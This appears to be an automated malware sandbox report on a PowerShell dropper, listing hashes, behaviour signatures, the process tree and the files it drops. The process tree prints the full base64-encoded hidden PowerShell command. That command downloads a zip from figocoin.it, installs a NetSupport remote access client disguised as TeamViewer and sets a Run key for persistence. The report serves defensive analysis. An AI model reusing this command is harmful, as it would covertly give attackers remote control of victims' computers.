Analysis

  • max time kernel
    91s
  • max time network
    138s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26/05/2023, 07:23

General

  • Target

    02084799.ps1

  • Size

    2KB

  • MD5

    307d3a6c607858692ae50922a077bc1d

  • SHA1

    d7f97b7dc75f2a81fb521450de41596b71c797a7

  • SHA256

    a327e8a5d5a9d9a0384555b354d2a7d4532f078dc1884706d2e2b4e524042982

  • SHA512

    c249c420f63b69fa39447c11075add27372d9ff6bfca969b4915e26c2e2234ddb77309c45c305a185351c277956ec54fd0d208cd3d657683e33f87699ef2011a

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://figocoin.it/auth.php

Signatures

  • NetSupport

    NetSupport is a remote access tool sold as a legitimate system administration software.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 5 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\02084799.ps1
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1984
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -ep bypass -win hid -enc YwBkACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAOwAgACQAbABpAG4AawA9ACcAaAB0AHQAcABzADoALwAvAGYAaQBnAG8AYwBvAGkAbgAuAGkAdAAvAGEAdQB0AGgALgBwAGgAcAAnADsAIAAkAHIAbgB1AG0APQBHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBtAGkAbgBpAG0AdQBtACAANQAgAC0AbQBhAHgAaQBtAHUAbQAgADkAOwAgACQAcgByAG4AdQBtAD0ARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0AbQBpAG4AaQBtAHUAbQAgADEAMAAyADQAIAAtAG0AYQB4AGkAbQB1AG0AIAA5ADkAOQA5ADsAIAAkAGMAaAByAHMAPQAnAGEAYgBjAGQAZQBmAGcAaABpAGoAawBsAG0AbgBvAHAAcwB0AHUAdgB3AHgAeQB6AEEAQgBDAEQARQBGAEcASABJAEoASwBMAE0ATgBPAFAAUgBTAFQAVQBWAFcAWABZAFoAJwA7ACAAJAByAHMAdAByAD0AJwAnADsAIAAkAHIAYQBuAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AUgBhAG4AZABvAG0AOwAgAGYAbwByACAAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAcgBuAHUAbQA7ACAAJABpACsAKwApACAAewAkAHIAcwB0AHIAKwA9ACQAYwBoAHIAcwBbACQAcgBhAG4ALgBuAGUAeAB0ACgAMAAsACAAJABjAGgAcgBzAC4ATABlAG4AZwB0AGgAKQBdAH0AOwAgACQAcgB6AGkAcAA9ACQAcgBzAHQAcgArACcALgB6AGkAcAAnADsAIAAkAHAAYQB0AGgAPQAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQArACcAXAAnACsAJAByAHoAaQBwADsAIAAkAHAAegBpAHAAPQAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQArACcAXABUAGUAYQBtAFYAaQBlAHcAZQByAF8AJwArACQAcgByAG4AdQBtADsAIABTAHQAYQByAHQALQBCAGkAdABzAFQAcgBhAG4AcwBmAGUAcgAgAC0AUwBvAHUAcgBjAGUAIAAkAGwAaQBuAGsAIAAtAEQAZQBzAHQAaQBuAGEAdABpAG8AbgAgACQAUABhAHQAaAA7ACAAZQB4AHAAYQBuAGQALQBhAHIAYwBoAGkAdgBlACAALQBwAGEAdABoACAAJABwAGEAdABoACAALQBkAGUAcwB0AGkAbgBhAHQAaQBvAG4AcABhAHQAaAAgACQAcAB6AGkAcAA7ACAAJABGAE8ATABEAD0ARwBlAHQALQBJAHQAZQBtACAAJABwAHoAaQBwACAALQBGAG8AcgBjAGUAOwAgACQARgBPAEwARAAuAGEAdAB0AHIAaQBiAHUAdABlAHMAPQAnAEgAaQBkAGQAZQBuACcAOwAgAFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgAC0AcABhAHQAaAAgACQAcABhAHQAaAA7ACAAYwBkACAAJABwAHoAaQBwADsAIABzAHQAYQByAHQAIABjAGwAaQBlAG4AdAAzADIALgBlAHgAZQA7ACAAJABmAHMAdAByAD0AJABwAHoAaQBwACsAJwBcAGMAbABpAGUAbgB0ADMAMgAuAGUAeABlACcAOwAgACQAcgBuAG0APQAnAFQAZQBhAG0AVgBpAGUAdwBlAHIAXwAnACsAJAByAHIAbgB1AG0AOwAgAE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAnAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFIAdQBuACcAIAAtAE4AYQBtAGUAIAAkAHIAbgBtACAALQBWAGEAbAB1AGUAIAAkAGYAcwB0AHIAIAAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIAAnAFMAdAByAGkAbgBnACcAOwA=
      2⤵
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2084
      • C:\Users\Admin\AppData\Roaming\TeamViewer_7799\client32.exe
        "C:\Users\Admin\AppData\Roaming\TeamViewer_7799\client32.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:1140

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          3KB

          MD5

          dd6085af47993de750fc1bba39e02d75

          SHA1

          c83d868735b3170ae109cacc1163ba647ab3e5b2

          SHA256

          847924eed8197b381f6dfe87f2f1ad3d6a4ea542e5afe291e3e5144419ba28b4

          SHA512

          9d50ba6331a1c5b1ae6b38bdee8e8bf871d63c3245b78b40d6287b9730e862bd731f99e1956ddf28db819592b35b005824b078535de2a0003523ebd8ab62c59d

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          704162a7d4c00eceed73583a5db40400

          SHA1

          cff30c76e4264dea03b75672298401b5378ddcff

          SHA256

          d078101d896007ff20c5735411917d308f8d27cb54e5289b7b605f73986c9ab0

          SHA512

          d0b5de843e9fb1abad42f6a225d1e71c9c5e6768989508df8007f5ceb55b77be0665d2d84a296bb2da9ecbf6cda002f6173ec34348ae78a2089c440686a4bca0

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_t513aazc.3sk.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Users\Admin\AppData\Roaming\TeamViewer_7799\HTCTL32.DLL

          Filesize

          320KB

          MD5

          c94005d2dcd2a54e40510344e0bb9435

          SHA1

          55b4a1620c5d0113811242c20bd9870a1e31d542

          SHA256

          3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899

          SHA512

          2e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a

        • C:\Users\Admin\AppData\Roaming\TeamViewer_7799\HTCTL32.DLL

          Filesize

          320KB

          MD5

          c94005d2dcd2a54e40510344e0bb9435

          SHA1

          55b4a1620c5d0113811242c20bd9870a1e31d542

          SHA256

          3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899

          SHA512

          2e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a

        • C:\Users\Admin\AppData\Roaming\TeamViewer_7799\MSVCR100.dll

          Filesize

          755KB

          MD5

          0e37fbfa79d349d672456923ec5fbbe3

          SHA1

          4e880fc7625ccf8d9ca799d5b94ce2b1e7597335

          SHA256

          8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18

          SHA512

          2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630

        • C:\Users\Admin\AppData\Roaming\TeamViewer_7799\NSM.LIC

          Filesize

          258B

          MD5

          1b41e64c60ca9dfadeb063cd822ab089

          SHA1

          abfcd51bb120a7eae5bbd9a99624e4abe0c9139d

          SHA256

          f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d

          SHA512

          c97e0eabea62302a4cfef974ac309f3498505dd055ba74133ee2462e215b3ebc5c647e11bcbac1246b9f750b5d09240ca08a6b617a7007f2fa955f6b6dd7fee4

        • C:\Users\Admin\AppData\Roaming\TeamViewer_7799\PCICHEK.DLL

          Filesize

          18KB

          MD5

          104b30fef04433a2d2fd1d5f99f179fe

          SHA1

          ecb08e224a2f2772d1e53675bedc4b2c50485a41

          SHA256

          956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd

          SHA512

          5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f

        • C:\Users\Admin\AppData\Roaming\TeamViewer_7799\PCICL32.DLL

          Filesize

          3.6MB

          MD5

          d3d39180e85700f72aaae25e40c125ff

          SHA1

          f3404ef6322f5c6e7862b507d05b8f4b7f1c7d15

          SHA256

          38684adb2183bf320eb308a96cdbde8d1d56740166c3e2596161f42a40fa32d5

          SHA512

          471ac150e93a182d135e5483d6b1492f08a49f5ccab420732b87210f2188be1577ceaaee4ce162a7acceff5c17cdd08dc51b1904228275f6bbde18022ec79d2f

        • C:\Users\Admin\AppData\Roaming\TeamViewer_7799\PCICL32.dll

          Filesize

          3.6MB

          MD5

          d3d39180e85700f72aaae25e40c125ff

          SHA1

          f3404ef6322f5c6e7862b507d05b8f4b7f1c7d15

          SHA256

          38684adb2183bf320eb308a96cdbde8d1d56740166c3e2596161f42a40fa32d5

          SHA512

          471ac150e93a182d135e5483d6b1492f08a49f5ccab420732b87210f2188be1577ceaaee4ce162a7acceff5c17cdd08dc51b1904228275f6bbde18022ec79d2f

        • C:\Users\Admin\AppData\Roaming\TeamViewer_7799\client32.exe

          Filesize

          104KB

          MD5

          f76954b68cc390f8009f1a052283a740

          SHA1

          3112a39aad950045d6422fb2abe98bed05931e6c

          SHA256

          63315df7981130853d75dc753e5776bdf371811bcfce351557c1e45afdd1ebfb

          SHA512

          d3aea0867b488161f62e43e7c250ad3917713b8b183139fb6e06c71594fb0cec769e1494b7cc257117992ae4aa891e056f99c25431ae19f032b1ba779051a880

        • C:\Users\Admin\AppData\Roaming\TeamViewer_7799\client32.exe

          Filesize

          104KB

          MD5

          f76954b68cc390f8009f1a052283a740

          SHA1

          3112a39aad950045d6422fb2abe98bed05931e6c

          SHA256

          63315df7981130853d75dc753e5776bdf371811bcfce351557c1e45afdd1ebfb

          SHA512

          d3aea0867b488161f62e43e7c250ad3917713b8b183139fb6e06c71594fb0cec769e1494b7cc257117992ae4aa891e056f99c25431ae19f032b1ba779051a880

        • C:\Users\Admin\AppData\Roaming\TeamViewer_7799\client32.exe

          Filesize

          104KB

          MD5

          f76954b68cc390f8009f1a052283a740

          SHA1

          3112a39aad950045d6422fb2abe98bed05931e6c

          SHA256

          63315df7981130853d75dc753e5776bdf371811bcfce351557c1e45afdd1ebfb

          SHA512

          d3aea0867b488161f62e43e7c250ad3917713b8b183139fb6e06c71594fb0cec769e1494b7cc257117992ae4aa891e056f99c25431ae19f032b1ba779051a880

        • C:\Users\Admin\AppData\Roaming\TeamViewer_7799\client32.ini

          Filesize

          919B

          MD5

          1c5dde5b0e8f8d65ba782a144129c78f

          SHA1

          014ed23957d9fd5ddbee8e8a5782b881ebcb2602

          SHA256

          ebf387d80981c731d812bcb8e1a1d48fdb43e81c3bc206fda05753b6a3dc8d0b

          SHA512

          226ab2c1a79107e01563e14e9a77c98ac09aec2181cdf057533e77cd20a5e48885b896c6bd97a81dea030aee12e2cb055d58fe9310edf3459e277d2279ab6c9b

        • C:\Users\Admin\AppData\Roaming\TeamViewer_7799\msvcr100.dll

          Filesize

          755KB

          MD5

          0e37fbfa79d349d672456923ec5fbbe3

          SHA1

          4e880fc7625ccf8d9ca799d5b94ce2b1e7597335

          SHA256

          8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18

          SHA512

          2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630

        • C:\Users\Admin\AppData\Roaming\TeamViewer_7799\pcicapi.dll

          Filesize

          32KB

          MD5

          34dfb87e4200d852d1fb45dc48f93cfc

          SHA1

          35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641

          SHA256

          2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703

          SHA512

          f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2

        • C:\Users\Admin\AppData\Roaming\TeamViewer_7799\pcicapi.dll

          Filesize

          32KB

          MD5

          34dfb87e4200d852d1fb45dc48f93cfc

          SHA1

          35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641

          SHA256

          2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703

          SHA512

          f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2

        • C:\Users\Admin\AppData\Roaming\TeamViewer_7799\pcichek.dll

          Filesize

          18KB

          MD5

          104b30fef04433a2d2fd1d5f99f179fe

          SHA1

          ecb08e224a2f2772d1e53675bedc4b2c50485a41

          SHA256

          956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd

          SHA512

          5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f

        • memory/1984-212-0x000002477F7B0000-0x000002477F7C0000-memory.dmp

          Filesize

          64KB

        • memory/1984-133-0x000002477F0C0000-0x000002477F0E2000-memory.dmp

          Filesize

          136KB

        • memory/1984-143-0x000002477F7B0000-0x000002477F7C0000-memory.dmp

          Filesize

          64KB

        • memory/1984-211-0x000002477F7B0000-0x000002477F7C0000-memory.dmp

          Filesize

          64KB

        • memory/1984-213-0x000002477F7B0000-0x000002477F7C0000-memory.dmp

          Filesize

          64KB

        • memory/1984-144-0x000002477F7B0000-0x000002477F7C0000-memory.dmp

          Filesize

          64KB

        • memory/1984-145-0x000002477F7B0000-0x000002477F7C0000-memory.dmp

          Filesize

          64KB

        • memory/2084-159-0x000001B0AA9E0000-0x000001B0AA9F2000-memory.dmp

          Filesize

          72KB

        • memory/2084-158-0x000001B0A9B30000-0x000001B0A9B40000-memory.dmp

          Filesize

          64KB

        • memory/2084-157-0x000001B0A9B30000-0x000001B0A9B40000-memory.dmp

          Filesize

          64KB

        • memory/2084-156-0x000001B0A9B30000-0x000001B0A9B40000-memory.dmp

          Filesize

          64KB

        • memory/2084-155-0x000001B0AA9A0000-0x000001B0AA9B4000-memory.dmp

          Filesize

          80KB

        • memory/2084-160-0x000001B0AA9D0000-0x000001B0AA9DA000-memory.dmp

          Filesize

          40KB